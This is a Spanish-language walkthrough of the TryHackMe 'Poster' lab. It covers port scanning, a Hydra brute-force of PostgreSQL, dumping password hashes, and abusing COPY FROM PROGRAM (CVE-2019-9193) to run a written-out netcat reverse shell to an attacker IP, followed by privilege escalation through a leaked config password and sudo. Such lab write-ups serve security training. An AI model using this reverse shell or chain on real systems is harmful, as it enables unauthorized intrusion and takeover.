Poster - TryHackMe

SUMMARY

Debemos encontrar dos banderas en la maquina Poster. Donde a partir del escaneo de puertos de Nmap pude saber que hay un servicio HTTP, SSH, PostgreSQL. Además, con un script de Nmap supe que hay un sitio web almacenado en el servidor web. Luego, utilice la herramienta Hydra con el fin de realizar un ataque de fuerza bruta sobre la autenticación del servidor PostgreSQL. Donde llegue a obtener unas credenciales validas para acceder al servidor PostgreSQL y que pertenecen al superusuario postgres. Luego, accedí al servidor PostgreSQL con el fin de volcar todos los hashes de los usuarios, que pueden acceder al servidor PostgreSQL, y para saber la versión del DBMS. Luego, sabiendo que la versión del DBMS es mayor a 9.3 y que tengo las credenciales del superusuario postgres, utilice la funcion COPY TO/FROM PROGRAM para ejecutar un comando en el sistema destino con el fin de generar una reverse Shell. Luego, para la escalada de privilegios horizontal utilice unas credenciales del usuario local alison en un archivo de configuración del sitio web. Luego, para la escala de privilegios vertical mediante el archivo binario bash, que podía ejecutarlo con los privilegios del usuario root.

FASE RECONOCIMIENTO

Para resolver este ejercicio empezaremos utilizando el comando openvpn con el fin de establecer una conexion VPN con la red virtual donde esta la maquina Poster. Para ello utilizaremos el archivo de configuracion, que lo podemos descargar en la plataforma de Tryhackme, que puede incluir informacion como la direccion del servidor VPN, los certificados y claves de seguridad, la configuracion de encriptacion, etc.

Luego de que se establece la conexion VPN se crea una interfaz virtual de red en nuestra maquina. Donde se enruta todo el trafico de red a traves de esa interfaz.

Ademas, la plataforma de Tryhackme nos muestra la direccion ip de la maquina Poster.

FASE ESCANEO Y ENUMERACION

Luego pasaremos a la fase de Escaneo y Enumeración con el fin de poder escanear los puertos del nodo. Además, obtendremos los servicios que se han levantado en los puertos abiertos, las versiones de los servicios, y el sistema operativo de la máquina Poster. Para ello utilizaremos Nmap. Donde le pasaremos los siguientes parámetros:

  • El parámetro -sC o –script=”default” para utilizar todos los scripts de la categoría default con el fin de realizar un escaneo y detección de los puertos de manera avanzada.
  • El parámetro -sV con el fin de conocer las versiones de los servicios levantados en los puertos abiertos.
  • El parámetro -n para evitar la resolución DNS, y el parámetro –max-rate para indicarle el número máximo de paquetes por segundo que va a utilizar Nmap para el escaneo con el fin de evitar sobrecargar la red con el tráfico generado por la herramienta.
  • El parámetro -p- para realizar un escaneo de los 65535 puertos del nodo y el parámetro –open con el fin de que nos muestre información solo de los puertos abiertos.

Los resultados que obtuvimos del escaneo vienen a ser:

  • Hay un servicio HTTP que se está levantado en el puerto 80, y el programa servidor HTTP que se está corriendo. Además, la versión del programa servidor
  • A partir del script http-title.nse de Nmap se llego a capturara el valor de la etiqueta title de una página web almacenada en el servidor web.
  • Hay un servicio SSH, que esta levantado en el puerto 22, y el programa servidor SSH que se está corriendo. Además, la versión del programa servidor SSH
  • El DBMS PostgresSQL que se está ejecutando en el sistema destino, y que esta levantado en el puerto 5432, y posibles versiones del DBMS.

Ahora observaremos la pagina web desde mi navegador web.

Podemos observar que la pagina web presenta solo un campo, cuyo parámetro es llamado email, y que solo permite ingresar entradas en forma de correos. Además, no es vulnerable a SQLi.

Ahora realizaremos fuerza bruta de directorios con la herramienta automatizada wfuzz con el fin de encontrar recursos escondidos en el directorio raíz del sitio web, que contiene a la pagina web anteriormente descrita.

Podemos observar que la herramienta llego a encontrar dos recursos escondidos, y a través de nuestro navegador web, pudimos observar que se trata de dos directory list, cuyos subdirectorios y archivos carecen de importancia.

FASE GANAR ACCESO O EXPLOTACION O HACKING

Ahora realizaremos un ataque de fuerza bruta sobre la autenticación del servicio PostgreSQL, que se esta ejecutando en el sistema destino, con el fin de obtener credenciales de inicio de sesión. Para ello utilizaremos la herramienta Hydra.

Podemos observar que la herramienta llego a obtener unas credenciales validas para acceder al servidor PostgreSQL. Además, las credenciales encontradas son del superusuario de un servidor PostgreSQL.

Ahora con estas credenciales nos conectaremos al servidor PostgreSQL a través del cliente PostgreSQL psql, que nos proporciona una interfaz de línea de comandos para poder interactuar con todas las bases de datos del servidor PostgreSQL.

Podemos observar que la versión exacta del DBMS PostgreSQL ejecutado en el sistema destino es 9.5.21. Además, consta de 3 tablas. Además, podemos observar los roles de los usuarios, que pueden acceder o conectarse al servidor PostgreSQL.

Ahora que hemos podido acceder al servidor PostgreSQL con las credenciales del superusuario postgres, podemos observar los registros de la tabla pg_shadow, que contiene información sobre los usuarios que pueden conectarse al servidor PostgreSQL.

Podemos observar los hashes MD5 de las contraseñas de los usuarios, que pueden acceder al servidor PostgreSQL. Además, debemos saber que para las versiones mayores a 9.3 de PostgreSQL se permite el uso de la función COPY TO/FROM PROGRAM siendo el superusuario postgres, para ejecutar comandos en el sistema destino. Mas información sobre esta vulnerabilidad lo puedes observar en https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9193.

Ahora aprovecharemos que podemos acceder al servidor PostgreSQL para utilizar la funcion COPY TO/FROM PROGRAM y ejecutar un comando que nos genera una reverse Shell en el sistema destino. Para ello ejecutaremos las siguientes consultas SQL.

  • CREATE TABLE reverseshell (resultado text); : Esta consulta SQL es con el fin de crear una nueva tabla en PostgreSQL llamada reverseshell. Esta tabla tiene una sola columna llamada resultado de tipo text.
  • COPY reverseshell FROM PROGRAM 'mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.8.123.194 1500 >/tmp/f'; : Esta consulta SQL es con el fin de ejecutar el comando, que nos generara la reverse Shell, y copiar la salida del comando y guardarla en la tabla reverseshell.

Además, no nos olvidemos de poner en escucha el puerto 1500 en nuestro sistema para que acepte la conexión entrante por la reverse Shell.

Podemos observar que llegamos acceder al sistema destino siendo el usuario postgres.

Ahora realizaremos un tratamiento de la tty para tener una Shell mas estable e interactiva.

FASE ESCALADA DE PRIVILEGIOS

Ahora debemos buscar un vector de escalada de privilegios con el fin de ser un usuario con privilegios más elevados. Para ello buscaremos credenciales en los archivos de configuración en el directorio raíz del sitio web que observamos anteriormente en nuestro navegador web.

Podemos observar que llegamos a encontrar un archivo de configuración llamado config.php, que contiene las credenciales del usuario local alison.

Ahora probaremos si las credenciales del usuario alison vienen a ser credenciales para iniciar sesión en el sistema destino.

Podemos observar que la credencial p4ssw0rdS3cur3!# viene a ser la credencial de inicio de sesión del usuario local alison.

De esta manera llegamos a ser el usuario alison mediante una escalada de privilegios horizontal.

Ahora debemos buscar un vector de escalada de privilegios con el fin de ser un usuario con privilegios más elevados. Para ello enumeraremos los comandos y programas que puede ejecutar el usuario alison con los privilegios del usuario root.

Podemos observar que el usuario alison puede ejecutar cualquier comando con los privilegios del usuario root, pero utilizando el comando sudo y digitando sus credenciales de inicio de sesión.

Ahora ejecutaremos el archivo binario /bin/bash con los privilegios del usuario root para ejecutar una Shell bash.

De esta manera realizamos una escalada de privilegios vertical y llegamos a ser el usuario root.

Ahora observaremos las dos banderas contenidas en los archivos user.txt y root.txt. Para localizar los archivos utilizaremos el comando find, y buscaremos desde el directorio /, archivos con sus nombres.